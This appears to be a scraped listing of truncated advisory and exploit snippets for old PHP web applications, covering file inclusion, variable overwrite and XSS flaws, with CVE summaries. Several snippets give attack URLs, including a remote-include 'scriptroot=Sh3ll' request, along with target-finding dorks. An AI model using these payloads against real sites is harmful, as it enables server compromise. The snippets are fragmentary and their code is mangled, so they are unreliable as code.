Free Real Estate Contact Form v1.09 - Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================== Free Real Estate Contact Form v1.09 - Local File Inclusion Vulnerability ======================================================================== Application Info:...

Short URL v1.01 - Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ==================================================== Short URL v1.01 - Local File Inclusion Vulnerability ==================================================== Application Info: Name: Short URL Version: 1.01 Vendor:...

Ad Board Script 1.01 Local File Inclusion

local file include Author: ItSecTeam download from:http://www.phpkobo.com/scripts/AF201101/AF201101.zip script:Ad Board Script Version:1.01 Updated:2010-01-10 dork::D vul:/path/web/codelib/cfg/common.inc.php line 21: require "res.$LANGCODE.sys.inc.php" ; -----------------------------------------...

Address Book Script v 1.09 - Local File Inclusion

Exploit for unknown platform in category web applications =============================================================== Address Book Script v 1.09 - Local File Inclusion Vulnerability =============================================================== Application Info: Name: Address Book Script...

Ad Board Script 1.01 - Local File Inclusion

hi ------- local file include Author: ItSecTeam download from:http://www.phpkobo.com/scripts/AF201101/AF201101.zip script:Ad Board Script Version:1.01 Updated:2010-01-10 dork::D vul:/path/web/codelib/cfg/common.inc.php line 21: require "res.$LANGCODE.sys.inc.php" ;...

Php168 a local file inclusion vulnerability-vulnerability warning-the black bar safety net

Php168 a local file inclusion vulnerability Looking at the v6 version,in do/job. php file: ... elseifereg dividing"^-0-9a-zA-Z+$",$GETjob||ereg"^-0-9a-zA-Z+$",$POSTjob requiredirnameFILE."/"." global.php"; ifisfilePHP168PATH."inc/job/$job.php" includePHP168PATH."inc/job/$job.php"; Well,if you ope...

织梦(DedeCms) V 5.3 任意变量覆盖漏洞

看核心文件include/common.inc.php中的代码 //检查和注册外部提交的变量 foreach$REQUEST as $k=$v if strlen$k0 && eregi'^|cfg|GLOBALS',$k && !isset$COOKIE$k //程序员逻辑混乱了？ exit'Request var not allow!'; 这个地方可以通过提交COOKIE变量绕过cfg等关键字的过滤 接着是注册变量的代码 foreachArray'GET','POST','COOKIE' as $request foreach$$request as $k = $v $$k =...

Phpcms 2007 common.inc.php远程文件包含漏洞

该cms的核心配置文件/include/common.inc.php有缺陷 -------------------------------------------- //23行开始 @extract$POST, EXTROVERWRITE; @extract$GET, EXTROVERWRITE; unset$POST, $GET; ------------------------------------------------ 这里extract函数会导致变量覆盖，可能引发一系列的问题...

CVE-2008-1962: Improper Limitation of a Pathname to a Restricted Directory

Multiple directory traversal vulnerabilities in Aterr 0.9.1 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the 1 class parameter to include/functions.inc.php and the 2 file parameter to include/common.inc.php...

Aterr 0.9.1 (class) Local File Inclusion Vulnerabilities (php5)

Exploit for unknown platform in category web applications =============================================================== Aterr 0.9.1 class Local File Inclusion Vulnerabilities php5 =============================================================== Atter 0.9.1 Local File Inclusion Vulnerability Auth...

Aterr 0.9.1 - PHP5 Local File Inclusion

Atter 0.9.1 Local File Inclusion Vulnerability Author : KnocKout ThanX : CW ALL USERS ================================================= Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5 Attackz : http://localsite.com/path/include/functions.inc.php?class=Local File...

Discuz! "$_SERVER['PHP_SELF']" XSS Vulnerability

在common.inc.php文件的69行： $PHPSELF = $SERVER'PHPSELF' ? $SERVER'PHPSELF' : $SERVER'SCRIPTNAME'; $SCRIPTFILENAME = strreplace'\\', '/', isset$SERVER'PATHTRANSLATED' ? $SERVER'PATHTRANSLATED' : $SERVER'SCRIPTFILENAME'; $boardurl = 'http://'.$SERVER'HTTPHOST'.pregreplace"//+api|archiver|wap?/$/i",...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in phpMyAdmin before 2.11.1.2 allow remote attackers to inject arbitrary web script or HTML via certain input available in 1 PHPSELF in a serverstatus.php, and b grabglobals.lib.php, c displaychangepassword.lib.php, and d common.lib.php in...

CVE-2007-5589

Multiple cross-site scripting XSS vulnerabilities in phpMyAdmin before 2.11.1.2 allow remote attackers to inject arbitrary web script or HTML via certain input available in 1 PHPSELF in a serverstatus.php, and b grabglobals.lib.php, c displaychangepassword.lib.php, and d common.lib.php in...

CVE-2007-5589

Multiple cross-site scripting XSS vulnerabilities in phpMyAdmin before 2.11.1.2 allow remote attackers to inject arbitrary web script or HTML via certain input available in 1 PHPSELF in a serverstatus.php, and b grabglobals.lib.php, c displaychangepassword.lib.php, and d common.lib.php in...

CVE-2007-4290

Multiple PHP remote file inclusion vulnerabilities in Guestbook Script 1.9 allow remote attackers to execute arbitrary PHP code via a URL in the scriptroot parameter to 1 delete.php, 2 edit.php, or 3 inc/common.inc.php; or 4 database.php, 5 entries.php, 6 index.php, 7 logout.php, or 8 settings.ph...

Guestbook Script 1.9 RFI

Guestbook Script 1.9 Remote File Include Dork:"Guestbook Script 1.9" Vuln Code: /admin/database.php /admin/entries.php /admin/index.php /admin/logout.php /admin/settings.php /delete.php /edit.php /inc/common.inc.php Exploit: www.server.com/path/file.php?scriptroot=Sh3ll =====================...

CVE-2007-0701: Undefined Security Weakness

PHP remote file inclusion vulnerability in inc/common.inc.php in Epistemon 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the incpath parameter...

Epistemon 1.0 - common.php?inc_path Remote File Inclusion

Epistemon 1.0 - common.php?incpath Remote File Inclusion -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Epistemon 1.0 = Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Discover...

Discuz forum to blast the physical path principle-vulnerability warning-the black bar safety net

Affected version Discuz! 5.2 Discuz! 5.1 Discuz! 4.1 Discuz! 4.0 ............. 1. common. inc. php issues code 2 0, line 7 ..... $navtitle = $navigation = "; $extra = isset$extra && pregmatch"/^+$/i", $extra ? $extra : "; $tpp = intvalempty$DSESSION ? $topicperpage : $DSESSION; $ppp =...